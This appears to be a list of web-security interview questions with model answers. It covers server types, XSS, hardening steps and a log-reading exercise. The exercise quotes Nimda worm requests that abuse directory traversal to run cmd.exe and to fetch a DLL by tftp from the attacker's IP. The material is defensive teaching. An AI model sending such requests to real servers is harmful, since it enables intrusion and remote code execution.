A WEB server is software designed to do one thing - serve HTML pages to a browser. Apache, IIS, Xitami all will "serve" pages to be read in a web browser.
an APPLICATION server is also software, but it takes static HTML pages and activates them, making them dynamic, allowing you to run high level language routines behind them and connect to a database. IIS has a built-in application server called Active Server Pages (ASP). Other App servers include TOMCAT (which allows you to run JavaServer Pages), PHP, BEA WebLogic, ColdFusion and IBM's WebSphere.
Generally speaking, they are two separate layers. You can run TOMCAT on a Windows platform or a Unix platform, same with WebLogic, PHP and WebSphere. ASP, which is a Microsoft proprietary format, is native to IIS, but through the Sun ONE products can be run on UNIX platforms as well now.

Goal of question To gauge the applicants knowledge of current web related threats. Topics such as Denial of Service, Brute Force, Buffer Overflows, and Input Validation are all relevant topics. Hopefully they will mention information provided by web security organizations such as the Web Application Security Consortium (WASC) or the Open Web Application Security Project (OWASP).

Goal of this questions to determine if the applicant utilizes computer security resources such as CERT, SANS Internet Storm Center or ICAT. Email lists such as securityfocus, bugtraq, SANS @RISK, etc. are also good resources. Recent examples of threats will vary depending on current events, but issues such as new web based worms (PHP Santy Worm) or applications, which are in wide use (awstats scripts) are acceptable.

Cross-Site Scripting: (Acronym XSS) An attack technique that forces a web site to echo client-supplied data, which execute in a users web browser. When a user is Cross-Site Scripted, the attacker will have access to all web browser content (cookies, history, application version, etc). XSS attacks do not typically directly target the web server or application, but are rather aimed at the client. The web server is merely used as a conduit for the XSS data to be presented to the end client. See also "Client-Side Scripting".

These are the most important steps would you recommend for securing a new web server are:-
Web Server Security:
* Update/Patch the web server software
* Minimize the server functionality disable extra modules
* Delete default data/scripts
* Increase logging verboseness
* Update Permissions/Ownership of files

Web Application Security:
* Make sure Input Validation is enforced within the code - Security QA testing
* Configured to display generic error messages
* Implement a software security policy
* Remove or protect hidden files and directories

68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/ cmd.exe?/c+dir HTTP/1.0" 200 566 "-" "-" 68.48.142.117 - - [09/Mar/2004:22:23:48 -0500]"GET/c/winnt/system32/ cmd.exe?/c+tftp%20-%2068.48.142.117%20GET%20cool.dll%20c:\\httpodbc.dll HTTP/1.0" 200 566 "-" "-" Goal of this questions To see if the applicant is fluent at reading web server log files in the Common Log Format (CLF). In this scenario, the client system (68.48.142.117) is infected with the Nimda worm. These requests will not affect our Apache proxy server since this is a Microsoft vulnerability. While it does not impact Apache, the logs do indicate that the initial request was successful (status code of 200). The Nimda worm will only send the level 2 request (trying to use Trivial FTP to infect the target) if the initial request is successful. Depending on the exact proxying rules in place, it would be a good idea to inspect the internal IIS server to verify that it has not been compromised.

You could use either Microsoft's Internet and Security Acceleration (ISA) server as a front-end proxy or implement URLScan on the target IIS server. The urlscan.ini file has the AllowDotInPath directive which will block directory traversal attempts.